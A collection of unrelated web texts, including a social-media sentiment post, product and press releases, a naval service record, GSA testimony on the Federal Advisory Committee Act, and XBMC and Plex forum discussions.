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New Year's Eve gives us a sense of closure on the past and an opportunity to make new dreams. With the emergence of social media, we can now see these reflections and resolutions transpire in realtime. As we observed the posts, comments, and tweets related to the New Year, we saw the typical expressions on Facebook and Twitter of best wishes for the coming year and pithy observations about the past year. What we didn't expect was that users of the two popular social media sites would have different outlooks on the world.
As we enter 2012, Facebook users are more optimistic than Twitter users.
You're probably wondering how we can say that. Well, we looked at all of the public posts on Facebook and Tweets on Twitter that contained "Happy New Year." For all of those posts and Tweets, we compared the use of positive words such as "better" and "good" to the use of negative words such as "worse" and "bad." We found that Tweets with positive words appeared 8 times more frequently than Tweets with negative words. You might be thinking a ratio of 8 to 1 is pretty optimistic…
It may be, but posts on Facebook had a ratio of 40 to 1–such a huge difference lead us to speculate that Facebook is a more optimistic place than Twitter.
Interesting stuff. Could be a variety of reasons for the difference, from the mix of users on each service to the fact that Facebook is used to communicate with friends, while Twitter is user to broadcast to followers. We'll leave the speculation up to you.


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S30. High-performance.
Powerful graphics. Reliable.
The Lenovo ThinkStation S30 is the essential workstation for professionals who want both value and performance - from 2D and 3D digital content creators and users of mid-range CAD and EDA applications, to finance and medical professionals. And, Windows® 7 Professional OS, is standard on all Lenovo ThinkStation models. The S30 comes with the latest Xeon® processor technology with faster memory performance (up to 1600 MHz), while supporting powerful discrete graphic solutions from NVIDIA, including Maximus with Quadro and Tesla configurations.
The S30 also features USB 3.0 support for faster transfer rates, and now can support up to 128GB of memory. This powerful combination makes the S30 the ideal mid-range workstation solution for users across a variety of industries. Its also fully certified for top ISV applications to optimize performance.
The S30 features the latest generation of Intel® Xeon® CPUs and comes preloaded with Windows® 7 Professional, delivering unmatched performance with incredible multi-core processing efficiency. The workstation also features Intel® Turbo boost technology for additional performance during peak processing.
Full line of cutting-edge graphics technologies, including the NVIDIA® QUADRO® line.
Graphics card availability:
NVIDIA® Quadro® 400
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Create without the wait — Learn about NVIDIA® Maximus.
The ThinkStation S30 workstation's unique thermal design is engineered for maximum cool air delivery to key components, reducing the risk of hardware failure. Yet at a 24db operating noise level, the S30 is nearly undetectable. Ergonomically designed, the S30's removable handle makes it easy to carry, move, and manage. Plus, the cover is easily removable, allowing for fast and convenient upgrades.
The S30 features dynamic power management for less energy consumption during periods of low usage. Additionally, the ThinkStation S30 workstation contains more than 50% recycled plastics, including 26% post-consumer content and it meets RoHS standards.
|GREENGUARD® certification, to preserve indoor air quality with low chemical and particle emissions.
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Collection:Apache Commons
The Commons is an Apache project focused on all aspects of reusable Java components.
|Commons Codec
| General encoding/decoding algorithms (for example phonetic, base64, URL).
|Commons Compress
| Defines an API for working with tar, zip and bzip2 files.
|Commons Configuration
| Reading of configuration/preferences files in various formats.
|Commons Daemon
| Alternative invocation mechanism for unix-daemon-like java code.
|Commons Validator
| Framework to define validators and validation rules in an xml file.
The Apache Commons Sandbox
| A general purpose Graph APIs and algorithms.
| Provides a set of pipeline utilities designed around work queues that run in parallel to sequentially process data objects data objects.
The Apache Commons Dormant
| Simple and fast importer for XML configuration or import files.
|Jakarta FeedParser
| A Java RSS/Atom parser designed to elegantly support all versions of RSS (0.9, 0.91, 0.92, 1.0, and 2.0), Atom 0.5 (and future versions) as well as easy ad hoc extension and RSS 1.0 modules capability. objects.
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In all of our lives, there are times when encouragement makes or breaks our stamina. Even when all is well, we know a deeper happiness if our efforts find appreciation. Recently, I came across a publication of the Mayo Clinic and was … [Read more...]
God Gave Burdens, Also Shoulders: A Yiddish Proverb
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300 Guests Brawl in Giant Wedding Fight
(NEWSER) – A huge fight erupted at a New Jersey wedding this weekend, with 300 guests involved in the tussle as police struggled to control the situation. The wedding-hall brawl, which, unsurprisingly, involved booze, began around 10:30pm on Sunday, more than seven hours into the event, the Asbury Park Press reports. It started with a simple fight; a pair of off-duty cops handling security tried to step in, but the fight just got bigger as some 80 people joined in, MyFoxNY reports.
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U. S. Naval Service Record
Sept 1943 to Sept 1973 — Illinois, Virginia, California, Pacific Area
He first enlisted June 30, 1942 in the inactive Naval Reserves. Called to active duty July 1943 to Midshipman Class in Chicago, Illinois. Graduated Sep 1943 as Ensign and was assigned to General MacArthur's Group, Amphibious Forces, Leyte Gulf, in the Philippines. He left Norfolk, Virginia on the "Catamount" LSD (Landing Ship Dock) on 15 Aug 1950 called at San Diego en route Kobe, Japan where she embarked marines [fresh out of basic tranining possible my cousin Pvt Jake Lewis also his brother Mgt Sargent Bob Lewis Army Ft Lewis, WA] bound for the invasion of Inchon, Korea. In the landing at Wonsan, Catamount sailed with the important repair and salvage group. It was in November 1950, that Catamount achieved a notable first, when as part of Commander Stephen M. Archer's Task Element 95.69, she became first LSD to take part in minesweeping operations, at Chinnampo, port city of Pyongyang. It was essential that this port be opened so that the advancing U.S. Eighth Army ashore could be supplied by sea, and all types of minesweepers were summoned for the urgent task. Catamount served as tanker and supply ship to this varied fleet, as well as mothering a swarm of LCVP's which were able to sweep waters too shallow for larger ships. He spent 1 1/2 years on the Catamount.
In December 1950, Catamount took part in the withdrawal of marines and soldiers from Hungnam to Pusan, then returned to Yokosuka, Japan to replenish. She returned to land landing craft at Korean ports through April 1951, when she began duty transporting equipment and supplies from Sasebo to Inchon and Pusan. On 31 May, she cleared Yokosuka for an overhaul at San DIego. He spent 1 1/2 years on the Catamount. He Served as Gunner Officer, Navigation Officer, Communication Officer and Supply Officer.
He served in London from 1955-58, on the staff of the Commander-in-Chief, U.S. Naval Forces Europe. Sent to Yokohama, Japan in 1965 to be responsible for the operation of a retail store, two enlisted men's clubs, the main and three branch cafeterias, the concessions in all personnel services units, laundries, dry-cleaning facilities and bakeries, including the largest Baking Exchange, Navy-wide. Excerpt from The Mainichi Daily Press, 4 Jan 1967. He retired Sept 1973 after 30 years service.


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User talk:Genium
Thank you for submitting Boost. I have just added it to the directory.
Added a "Core X11 runtime" section under X11 entry, not sure that is relevant here. We have to check if all related packages are free software. Genium (talk) 16:34, 16 September 2013 (EDT)
Hi, please leave the page for Firefox as a redirect to GNU_IceCat. Firefox is not free software as it places restrictions on redistributing verbatim copies. We do not want to recommend Firefox.
But, by having Firefox redirect to GNU_IceCat it makes it so that all of the semantic relationships are done correctly. That is, if a person says that somethign is a firefox extension, then it will correctly appear listed as a GNU_IceCat extension. Without this redirect, such relationships will not work.
Lastly, you have been doing amazing work on the Directory and I can't thank you enough for all the updates and redirects you've been making. --Jgay (talk) 14:48, 4 October 2013 (EDT)
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Even if you don't have any images in your home collection, try to find photographs when you do your research. Discovering your family roots in the old country helps you reconnect with relatives and possibly new material and additional photographs. One researcher I know found long-lost cousins in the town her family came from, along with new sources for genealogical data, all because of a single photographic postcard.
Researching photographs, particularly those with foreign connections, is challenging and takes time, but pays off. For instance, if your family came from a non-English-speaking country, you'll need to translate any written or printed data on the image. Be observant. Often the date is in the little details in the picture. Find out as much as you can about the oral history of the image in your possession. You can also use the tips outlined in "Picture Puzzles" in the August 2000 Family Tree Magazine (highlights are online at <www.familytreemagazine.com/articles/aug00/photo.html>.)


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Big Ten Recognizes 24 Outstanding Sportsmanship Award Winners
May 30, 2012
2011-12 Sportsmanship Honorees
The Big Ten announced on Wednesday the 24 student-athletes named Outstanding Sportsmanship Award winners for the 2011-12 academic year. These individuals were chosen from a group of 300 student-athletes honored throughout the academic year who had displayed positive sportsmanship.
One member of each varsity sports team on every campus was chosen by his or her institution as a Sportsmanship Award honoree. From each university's list, two Outstanding Sportsmanship Award winners were then selected. All of the Sportsmanship Award honorees have distinguished themselves through sportsmanship and ethical behavior. In addition, these student-athletes must be in good academic standing and must have demonstrated good citizenship outside of the sports-competition setting.
The 2012 Big Ten Outstanding Sportsmanship Award winners appear below, and the complete list of Sportsmanship Award honorees for all sports from each school is attached as a PDF.
2012 Outstanding Sportsmanship Award Winners
Michigan State
Ohio State
Penn State
Schools Illinois Indiana Iowa Maryland Michigan Michigan State Minnesota Nebraska Northwestern Ohio State Penn State Purdue Rutgers Wisconsin
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Kids 4 Truth: 6:45 pm
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Prayer Meeting: 7:00 pm
Nursery available at all services.
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Phone: 843-744-3307Fax: 843-737-4861
In December 1903 after many failed attempts, the Wright brothers were successful in getting their "flying machine" off the ground. Thrilled at their accomplishment, they telegraphed a message to their sister Katherine, "We have actually flown 120 feet. Will be home for Christmas."
With great eagerness, Katherine hurried to the editor of the local newspaper to share the exciting news that she was sure would make headlines on the front page. As Katherine entered the newspaper office and saw the editor, she enthusiastically handed him the telegraphed message. He glanced at it and said, "How nice. The boys will be home for Christmas."
The editor totally missed the big news--man had successfully flown on the very first airplane!
Even so, many today are so preoccupied with thoughts of Christmas and being with family and friends, that they have totally missed the big, thrilling news of Christmas--God has come to earth as a baby! Others are so preoccupied with the search for joy, peace and love at Christmas, they too have missed the whole point of the season. Sadly, they will never find what they are looking for under a tree, nor will they find it in the season itself.
That raises an interesting question: What makes Christmas a Time for Joy? Our text in Luke 2:10 mentions good tidings of great joy that are intended for all people. What is that joy? Listen to this message and follow along with the sermon outline to find out!
This sermon is part 3 in the series "Christmas Gifts: The Joy of Giving and Receiving."
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Mentor Graphics Corporation (Nasdaq: MENT) announced that Taiwan Semiconductor Manufacturing Company Ltd. (TSMC) has selected Mentor's Eldo® analog simulation tool to characterize cells in its 40 nanometer (nm) standard cell libraries. "TSMC is committed to offering high quality, silicon-proven standard cell libraries to enable customers to design at 40nm technologies," said ST Juang, senior director of design infrastructure marketing division, TSMC. "By adopting Eldo as our characterization SPICE engine, we are confident that we can deliver to this commitment."
Advanced process technologies require that more process corners be characterized for each cell to accurately represent the process variation and physical effects on the design. More cell variants are also needed to accommodate different design considerations, such as cells for low power and cells for high speed. These advanced process technology requirements result in increased run time that must be mitigated by high performance SPICE simulation for library characterization.
"TSMC is the technology leader in advanced process technology so clearly Eldo's role as TSMC's simulator for 40nm standard cell characterization is an important one," said Jue-Hsien Chern, vice president and general manager, Deep Submicron Division at Mentor.
About Mentor Graphics
Mentor Graphics Corporation (NASDAQ: MENT) is a world leader in electronic hardware and software design solutions, providing products, consulting services and award-winning support for the world's most successful electronics and semiconductor companies. Established in 1981, the company reported revenues over the last 12 months of over $850 million and employs approximately 4,200 people worldwide. Corporate headquarters are located at 8005 S.W. Boeckman Road, Wilsonville, Oregon 97070-7777.
Mentor Graphics and Eldo are registered trademarks of Mentor Graphics Corporation.


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Steps Taken to Implement Recommendations to the Federal Advisory Committee Act (FACA)
Mr. Chairman, Members of the Subcommittee, thank you for inviting me to speak on the General Services Administration's (GSA's) implementation of the Federal Advisory Committee Act (FACA); steps GSA has taken to implement recommendations made by the Government Accountability Office (GAO) in its April 2004 report (Federal Advisory Committees – Additional Guidance Could Help Agencies Better Ensure Independence and Balance, GAO-04-028); and GSA's recommendations for improving the Act.
While citizen-advisors have been called upon since the earliest days of the Republic to obtain objective and informed advice, it was not until after the end of World War II that advisory committees became institutionalized as a unique tool of democratic government. As the influence and number of advisory committees grew, so did concerns within the Executive and Legislative Branches regarding their management, cost, and accountability. In 1962, President Kennedy issued an Executive Order establishing guidelines for using such groups, and these guidelines were expanded in 1964.
In 1972, Congress passed the Federal Advisory Committee Act to accomplish two important objectives: (1) to establish the means for providing Congressional and Executive Branch oversight over the number and costs of advisory committees; and (2) to ensure that advisory committees operate in plain view of the public. Simply stated, the Act's purpose is to illuminate how agencies make decisions based upon advice and recommendations from individuals outside of Government, while also making sure that the costs to support advisory committees are commensurate with the benefits received.
Today, advisory committees are used by over 60 departments and agencies to address issues that reflect the complex mandates undertaken by the Government. During fiscal year 2007, over 65,000 committee members served on more than 900 committees and provided advice and recommendations on such matters as vaccine research and safety, nuclear, biological and chemical threat reduction, civil rights, veterans' health and rehabilitation, management of natural resources, and strategies for national defense, protection of the environment, and human health and welfare.
Several important government-wide roles and responsibilities are assigned by the Act to the Administrator of General Services and to GSA's Committee Management Secretariat which, taken together with those specific functions reserved for the Congress and Executive Branch Departments and agencies, are designed to improve the management and accountability of advisory committees. Among the statutory responsibilities assigned to the Administrator are:
- Conducting an annual comprehensive review of the activities and responsibilities of each advisory committee (section 7(b));
- Requesting information from agencies to help GSA carry out its responsibilities (section 7(b));
- Issuing administrative guidelines and management controls applicable to advisory committees (section 7(c)); and
- Issuing guidelines on committee member compensation in conjunction with the Office of Personnel Management (section 7(d)).
GSA Committee Management Secretariat Programs
The Secretariat provides agencies with tools to ensure successful oversight of their Federal advisory committee program, using a combination of shared management approaches, web-based tools, interagency coordination, and the application of best practice guidance. Compliance and oversight are managed by the Secretariat through the following programs:
- GSA FACA Rule – 41 CFR 102-3 provides agency with detailed guidance on the implementation of FACA. The current rule was issued in July 2001 and was developed by an interagency work group. The guidance in the rule follows from the language in FACA and from case law. The Secretariat is preparing to update the rule in 2010.
- Case Law Digest – This is a compendium of FACA Case Law that was developed by an interagency team led by GSA. It provides citations and summaries of FACA-relevant case law up through 2003. It is currently being updated by an interagency team including representatives from GSA, EPA, and DOJ – there are approximately 30 new cases being added.
- GSA Desk Officers – All agencies with Federal advisory committees are assigned to a Secretariat Desk Officer. Desk Officers coordinate advisory committee establishments, renewals and terminations, FACA policy interpretation, and best practice guidance with the agencies' Committee Management Officers (CMO's).
- Shared Management System (SMS) - The Secretariat uses a web-based Shared Management System (also known as the FACA Database) to manage and compile meeting, membership, charter, costs and other administrative and operational data on all Federal advisory committees. This data is available to the public via the GSA website.
- Annual Comprehensive Review (ACR) – The Annual Comprehensive Review of Federal Advisory Committees is required by section 7(b) of the Act. The Secretariat uses the Shared Management System to capture and display this information. Agency compliance with reporting requirements is measured via a publicly-accessible scorecard (red-yellow-green) at the close of each fiscal year.
- Performance Measures - The Secretariat has incorporated performance measures for advisory committees in the Shared Management System. Data are collected from individual advisory committees during the ACR, with government-wide and agency roll-up. These measures examine advisory committee outcomes such as number of recommendations accepted by an agency and the estimated value of the advice impacted by advisory committees.
- Advisory Committee Engagement Survey (ACES) -The Secretariat periodically administers this online survey to advisory committee members and staff, and FACA decision makers. ACES measures the extent to which sponsoring agencies address factors that are critical to the success of advisory committees.
- Interagency Committee on Federal Advisory Committee Management (IAC) - Chaired by GSA, this 60-member interagency committee brings all CMOs together quarterly for discussions on FACA policy, best practices, training, and compliance issues. The IAC hosts numerous interagency work groups to manage FACA issues of interest (e.g., updating the case law digest; developing regulatory updates; improving training programs; refining the ACES questionnaire; developing updates to the SMS; developing presidential transition packages for FACA programs; etc.)
- FACA Training Program – Since 1989, the Secretariat has conducted a FACA training program which includes a formal introductory FACA course given five to six times a year to approximately 300 Federal employees. GSA's introductory FACA course addresses the following topics: FACA history, laws related to FACA, legal and other ethics issues, recordkeeping, committee operations, membership processes, public interactions, and the use of the Secretariat's Shared Management System. The Secretariat also administered a one-day CMO training seminar in FY2007, and a two-day FACA Training Conference in FY2008.
Overview of Department and Agency Responsibilities
Responsibilities assigned by FACA to departments and agencies that sponsor Federal advisory committees include:
- Establishing uniform administrative guidelines and management controls (section 8(a));
- Appointing a Committee Management Officer (CMO) to provide oversight of the agency's entire committee inventory (section 8(b));
- Consulting with the Secretariat regarding proposals to establish advisory committees (section 9(a)(2));
- Filing Charters with the Congress prior to initiating committee activities (section 9(c));
- Maintaining records, minutes, and reports covering closed meetings (section 10(b)(c)(d));
- Appointing a Designated Federal Officer (DFO) for each committee (section 10(e));
- Maintaining financial records (section 12(a));
- Providing support services (section 12(b)); and
- Terminating advisory committees as appropriate, consistent with FACA (section 14(a)(1)(A)).
Agency CMOs are responsible for implementing FACA on behalf of the agency head. Within each agency, individual DFOs must work with their respective CMO to implement the Act's requirements at the committee level. Together, the CMO and DFO are responsible for ensuring compliance with FACA, the agency's internal operating procedures, guidelines issued by GSA, and any other applicable statutes or regulations, such as those issued by the United States Office of Government Ethics (OGE), the National Archives and Records Administration (NARA), or the Office of Personnel Management (OPM).
Although the Act is quite detailed in the specific procedures agencies must follow with respect to the establishment of advisory committees, the conduct of meetings, and the availability of records, it provides substantial flexibility to agency heads in other areas, such as membership selection and tenure. GSA believes this is appropriate given the diverse needs of the Executive Branch and the necessity for agencies to quickly adopt new operating procedures where conditions warrant.
Balance and Influence of the Appointing Authority
The Act does not include provisions covering individual committee member conflicts of interest. The applicability of conflict of interest laws and various ethical requirements for members of advisory committees who serve as Special Government Employees (SGEs) are covered by other laws and by regulations or other guidance issued by the U.S. Office of Government Ethics.
The Act, however, does include two important provisions designed to promote the objectivity of advisory committee deliberations. First, section 5(b)(2) requires "the membership of the advisory committee to be fairly balanced in terms of the points of view represented and the functions to be performed by the committee." Second, section 5(b) requires "provisions to assure that the advice and recommendations of the advisory committee will not be inappropriately influenced by the appointing authority or by any special interest, but will instead be the result of the advisory committee's independent judgment." Thus, while the Act stresses the importance of assuring an advisory committee's independent judgment, it also requires that the composition of advisory committees reflect the expertise and interests that are necessary to accomplish the committee's mission.
The Act does not define those factors that should be considered in achieving "balance." However, the Secretariat's guidelines provide that, "…in the selection of members for the advisory committee, the agency will consider a cross-section of those directly affected, interested, and qualified, as appropriate to the nature and functions of the committee. Committees requiring technical expertise should include persons with demonstrated professional or personal qualifications and experience relevant to the functions and tasks to be performed." (41 CFR 102-3.60(b)(3)) In their efforts to balance the points of view of a committee's membership, agencies focus primarily on the subject matter to be addressed by the committee; nevertheless, while not required by FACA, other factors may be appropriate in relation to a committee's function, such as geographical representation; racial or ethnic diversity; occupational affiliation; or the need to consult with State, local, or tribal governments. GSA describes these factors further in section III of Appendix A to Subpart B, 41 CFR 102-3.
Similarly, FACA does not outline specific steps that must be taken to ensure that advice and recommendations offered by an advisory committee are free from inappropriate influence by the appointing authority or special interests. Accordingly, each agency is responsible for developing specific operating procedures, consistent with the Act and GSA's guidelines to ensure an advisory committee's independence, and to promote a balanced committee membership.
In it's April 2004 report (Federal Advisory Committees – Additional Guidance Could Help Agencies Better Ensure Independence and Balance, GAO-04-328), the U.S. Government Accountability Office (GAO) recommended a number of improvements that both GSA and OGE could make to improve the independence and balance of Federal advisory committees. The following is a summary of the recommendations (some are merged) that were made to GSA and how GSA addressed each recommendation.
To ensure distribution of the GAO recommendations to agency FACA managers, GSA provided the GAO report to all agency CMOs at the time of the September 23, 2004 meeting of the Interagency Committee on Federal Advisory Committee Management. CMOs were also provided with both GSA and OGE planned responses and action plans for addressing the recommendations. Attendees were briefed on the GAO report and GSA's planned actions. In addition, OGE briefed the attendees on its responses to the GAO recommendations.
GAO Recommendation - (The Director of OGE and) the GSA Committee Management Secretariat (should) direct Federal agencies to review their representative appointments to Federal advisory committees either as the 2-year charters expire or, for those committees with indefinite charters, within 1 year to determine if the appointments are appropriate and to reappoint members as special government employees, where appropriate, and direct agency committee management officials to consult with agency ethics officials in making decisions about the type of appointments that should be made for each committee.
Response: OGE issued DAEOgrams DO-04-022 (7/19/04) and DO-05-012 (8/12/05) to further assist agencies in distinguishing between SGEs and Representatives during the member designation process and to improve agency designation practices for purposes of applying Federal ethics rules to members serving as SGEs. These documents serve to strengthen the CMO-DAEO consultation process called for in Appendix A to Subpart C (IV.2.) of the GSA FACA guidelines. (Basic guidance regarding the applicability of the Conflict of Interest Statutes and Federal Advisory Committee members is contained in OGE Advisory Opinion 82 x 22 (7/9/82).) In addition, I understand that OGE in 2004 modified its ethics program review guidelines pertaining to advisory committees and has focused particular attention on ensuring that agency ethics officials are properly designating the status of advisory committee members for purposes of applying Federal ethics rules to members serving as SGEs. During GSA's formal FACA Management Training course, agencies are further advised to contact their ethics and FACA attorneys for input when selecting members of any type, and in particular when choosing between SGEs and Representatives. This guidance appears in section IV.2.B of Appendix A to Subpart C of 41 CFR 102-3.
For charters subject to renewal under FACA beginning with FY 2006, GSA added a member designation review date transaction column in the on-line consultation module of the FACA Database. (Designations for committees with indefinite charters (i.e., exempt from renewal) were reviewed during FY 2006.) The pertinent new instructions for this renewal consultation requirement were added to the Database HELP feature and Manuals.
Since 2006, GSA has also taken an aggressive posture in reviewing advisory committee charters during consultations on new establishments, renewals and amendments. Although FACA only requires that agencies "consult" with GSA on charters (see FACA 9(a)(2)), GSA's approach is to have GSA Desk Officers review the charter language for compliance with current regulatory requirements as well as for compliance with the revised requirements (which include a section on membership designation) for charters that GSA intends to incorporate into the next revision of 41 CFR 102-3. This Desk Officer review is followed by a second review by the Director, Committee Management Secretariat, to ensure that charters have language specified by FACA and the implementing guidelines, and to ensure that member designations are appropriate. GSA formally notifies agencies in writing of any concerns with charter language.
GAO Recommendation - GSA (and OGE) (should) revise the training materials for the FACA management course, incorporating the additional OGE guidance as recommended above, and ensure that the course materials highlight the fact that appointment decisions should be based on the type of advice the committee members are to provide.
Response - GSA and OGE made the appropriate revisions to both the Meeting Management and Ethics Training Classes of the GSA FACA Management Training Course for FY2005, focusing on the member designation process and the CMO-DAEO relationship involved, and incorporating the current OGE guidance. The course material is reviewed regularly (with major updates in the summer of 2006 and 2007 during GSA sponsored instructor training meetings), and is updated as new guidance is issued.
GAO Recommendation - (OGE and) GSA (should) direct agencies to determine, for each relevant committee, the potential for such other (unknown points of view or) biases and take appropriate steps to ensure their representative members do not have such biases. At a minimum, Representatives should receive ethics training and be asked whether they know of any reason their participation on the committee might reasonably be questioned--….
Response - GSA believes that responsible agency CMOs or other officials, as appropriate, should determine for each relevant committee, the extent to which their potential Representatives should be vetted during the initial planning for fairly-balanced membership, and in the preliminary review processes during membership selection. Whether Representatives should be asked to participate in member briefings is subject to an agency's decision. GSA believes it is helpful for Representatives to receive necessary information on the agency's expectations regarding any standard of behavior, with respect to a member's duties and role on a Federal Advisory Committee. Further, a structured interview conducted by an agency during the vetting or appointment process would assist in making sensible and defensible choices in achieving balance. During presentations in the GSA FACA Management Training Course, GSA recommends that agencies follow this approach."
GAO Recommendation - GSA (should) provide guidance to agencies regarding what background information might be relevant in assessing committee members' points of view.
Response - GSA believes that considerations of potential members' points of view to be represented with respect to the functions to be performed by a committee are to be made by an agency during the initial planning process for fairly-balanced membership, and that each member will be designated appropriately prior to a committee's meeting or taking any action. Each agency is in the best position to determine from its program clientele, customers, and stakeholders, the pertinent points of view and their effect on a committee's functioning, and what views should be represented by members, interested parties, and other participants.
GSA's current guidance in 41 CFR 102-3.60 has been more aggressively applied during the consultation process for the establishment of new discretionary Federal advisory committees, especially with regard to the description of the agency's plan to attain fairly-balanced membership. Proposed charters are assessed by the Secretariat, and commented upon as necessary, particularly with respect to the designation of members. Finally, as we note in Section III of Appendix A to Subpart B of 41 CFR 102-3, the composition of an advisory committee depends on a number of factors (i.e., committee mission, perspectives needed, need for divergent views, geographical, ethnic, social, economic or scientific impact of recommendations). Agencies have to make individual determinations based on the function of the committee being established and the anticipated role of the members.
GAO Recommendation - GSA (should) issue guidance that agencies should: identify the committee (membership) formation process for each committee… ; state in the appointment letters to committee members whether they are appointed as Special Government Employees (SGEs) or Representatives (and identify the latter's entity or group); identify each member's appointment category on the GSA FACA Database (and for Representative members, the entity or group represented); and state in the committee products the nature of the advice provided (independent or consensus)… .
Response - In the FACA Management Training Course, GSA recommends that agencies use a standardized process for membership selection. This includes use of the Federal Register and the Internet to recruit members, and a formalized process for evaluating those candidates. A copy of an official agency document used for this purpose is handed out for illustration.
GSA added several new fields for member designation categories in the FACA Database module beginning with the FY 2005 Annual Comprehensive Review (ACR) of each committee. Also, a field has been added for the identification of the represented group when an individual has been designated as a "Representative Member." Instructions have been added to the Database HELP feature and Manuals. GSA's final Member Designation Categories and Selection Criteria were issued to CMOs at the May 12, 2005 Interagency Committee (IAC) Meeting, and CMO instructions for the FY 2005 ACR were issued at the September 15, 2005 IAC Meeting. Minutes of these IAC meetings are posted on the GSA website.
In September 2007, GSA held a one-day CMO Training Seminar attended by 60 participants (primarily CMOs) from 40 Federal agencies. Presenters represented GSA, the National Archives and Records Administration, the Department of Homeland Security, and the U.S. Office of Government Ethics. Broad topics presented at this seminar included the application of ethics rules to FACA members and improving advisory committee practices; FACA recordkeeping for CMOs; and managing presidential transition for advisory committees. During the seminar, CMOs were briefed on the need for a clear plan for membership, on ensuring that their advisory committee members understood if they were Special Government Employees or Representative members, and if the latter, who they represented. CMOs were also advised to include member designation in their advisory committee appointment letters: OGE has also advised in its 2004 DAEOgram that ethics officials ensure that appointment letters or other appointment documentation state clearly a member's designation and that Government ethics rules apply to a member who serves as an SGE.
In December 2007, GSA held a national FACA Training Conference attended by over 225 FACA professionals from over 50 Federal agencies. Thirty-five speakers and panelists presented on the role of the CMO; external views on advisory committee contributions; managing committees for excellence; forming successful committees, FACA policy advice, using the GSA Shared Management System, and communications and accountability. Participants were trained on and received materials on documenting the advisory committee membership formation process.
GSA recommends that agencies make maximum use of the Internet, and display relevant agency and committee documents and products on agency websites, as appropriate, that would serve to be informative and contemporaneously available to all interested parties and the public at large. Such usage enhances the public participation aspects of FACA and ensures and increases transparency in the advisory committee process. GSA's Shared Management System provides for an agency to enter either the agency or specific committee website URL to which information can be posted. This is particularly true for draft and final advisory committee advice or recommendations.
Although some agencies apply voting criteria to their final products (report, advice, or recommendations), many more use a consensus-based approach. Regardless of the approach used, and we discuss this in the FACA Management Training Course briefly, agencies and their advisory committees will normally use the method best suited to their needs. Generally, advisory committee procedures documents that form the basis for the operation of the committee, or meeting transcripts, minutes, draft and final reports, comments, and the information in the FACA meeting record will clearly identify how advice was generated.
Mr. Chairman, GSA and OGE have taken the appropriate actions to respond to recommendations by GAO.
With regard to amending FACA, GSA would not generally support amendments that unnecessarily limit the discretion of the Executive Branch or the case-by-case flexibility needed for each agency and each of the Federal advisory committees to support critical mission requirements.
We look forward to working with you to ensure that Federal agencies receive appropriate statutory, regulatory, and best practices support in the management of their Federal advisory committee programs.
Mr. Chairman, members of the Subcommittee, this concludes my prepared statement. I would be pleased to answer any questions you may have.


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Currently there are quite a lot of things for XBMC that can be handled via advancedsettings.xml.
Some of these features are allday business for XBMC users.
I think there is a big BUT with the advancedsettings.xml.
I think some of these features do not belong into the advancedsettings.xml but more into the GUI settings.
For example the way how you enter the details of your MySQL server or just hiding the "all items" entry in file listing.
There are some attempts in GIT to move stuff from as.xml to GUI settings.
For example amet's attempt to handle the MySQL stuff inside of XBMC:
or my attempt to move the "Hide All Items" button to it:
Greatest problem here is that this might clutter the interface and confuse new users. So this seems to be the reason that this is
not merged into master.
Basically, the idea of having a pretty solid interface with only the most needed options is quite good but IMHO it makes
editing the as.xml and restarting XBMC not feel like an appliance.
And that's the point where my idea jumps in
My Proposal
Let's move certain features from the as.xml to GUI settings and control them via ONE new tag in as.xml.
That way the user has a clean interface by default and does not need to care about all advanced stuff.
More experienced users might enable "advanced GUI settings" with a
IMHO this combines the best of both worlds. You can easily edit your settings from within XBMC and it doesn't need a restart if it is enabled and no worry for new users.
Here we go with some proposals for settings to be transfered:
- useddsfanart
- playcountminimumpercent
- splash
- enablemultimediakeys
- algorithmdirtyregions
- fullscreen
- MySQL settings
- Hide All Items
- plus many many more
Of course these are not all but it might be a good start for it.
What needs to be done for this?
I only have taken a short glance at it, but this is definitely needed:
1) New variable in advancedsettings.h
Something like
bool m_guiAdvancedGuiSettings;
2) The appropriate way to get this setting in advancedsettings.cpp
Like this:
m_guiAdvancedGuiSettings = false;
XMLUtils::GetBoolean(pElement, "advancedguisettings", m_guiAdvancedGuiSettings);
3) Changing the internal variables where needed
Based on the PR I made for "Hide All Items" there should be a lot of changes like this:
Former variable:
if (g_advancedSettings.m_bMusicLibraryHideAllItems)
if (g_guiSettings.GetBool("musiclibrary.hideallitems"))
4) Showing the settings only for advancedguisetting == true
This should need some "if statements" in the GUISettings.cpp for the appropriate setting that moved
from as.xml to GUI settings. Didn't get around that, yet. Help appreciated!
NOTE: This is only an example from xbmc/filesystem/MusicDatabaseDirectory/DirectoryNode.cpp!
As I'm not that experienced in the XBMC codebase maybe a dev can enlighten us a bit more
Basically that's it...
Any opinions on this?
BTW: As you see, I already made some adjustments to the code. If this is something the team is interested in and someone gives me a hint
for 4) I might manage to make the appropriate changes.
Let's start the discussion...


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Just saw that Roku is advertising that you can install Plex Media Server app on a MAC or PC and stream content to your Roku box.
With the drop in price to $50 for a Roku,..is this now the cheapest solution out there for a HTPC?
Plex for Roku
Plex for Roku can play a wide range of video, audio, and photo formats as well as content from online sources using myPlex and the Plex Media Server.
Access all your local media through your Plex Media Server
Plex for Roku gives you access to all your local media by connecting to your Plex Media Server. Install Plex Media Server on your computer and configure it to point to all your local videos, music, and photos. Then the Plex channel on your Roku can connect to your Plex Media Server so you can enjoy that media on your big screen.
And it's not just the Roku. Once you have your Plex Media Server set up you can enjoy your media on all sorts of devices with Plex clients, including Mac and Windows computers, iOS, Android, and Google TV (just to name a few). Check out the wiki for more information on Plex in general, starting with this guide.
You can also access all your myPlex content on your Roku. myPlex lets you queue videos from various websites to watch later on your Roku, as well as share Plex Media Server sections with other people.
Will Plex on Roku be an extremely cheap solution???
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think the cheapest would be the xbmc flavour for raspberrypi, Raspbmc when it comes out
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I suppose my point being that while I was hoping to build a really cool HTPC and run XBMC (which is one awesome piece of software),...my cost for building one was probably $600-$700. I was going to buy a Zotac for around $330,........but heck,...I already own a Roku.
I guess I'll find out how good Plex on Roku is, when I get home and try it tonight.
If nothing else,..if this works well,...it'll give me more time to do research before deciding on the building of a HTPC.
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(2012-04-20 19:42)GortWillSaveUs Wrote: I suppose my point being that while I was hoping to build a really cool HTPC and run XBMC (which is one awesome piece of software),...my cost for building one was probably $600-$700. I was going to buy a Zotac for around $330,........but heck,...I already own a Roku.I can't comment on the Roku, but why would you need to spend 600-700? $300 should do it.
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Plex, I think only gains an advantage on XBMC when you have a few clients and they are portable ones such as mobile phones and tablets (which I think you can download to so you can play then locally) but if you have one or two main HTPC's then I will choose XBMC.
My post (if anyone saw it) before was a bit snarky I will admit, I apologies.
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Quote:I can't comment on the Roku, but why would you need to spend 600-700? $300 should do it.
You got me,..I suppose I was exaggerating a lot, especially when I just glanced at my parts list that I wrote out yesterday.
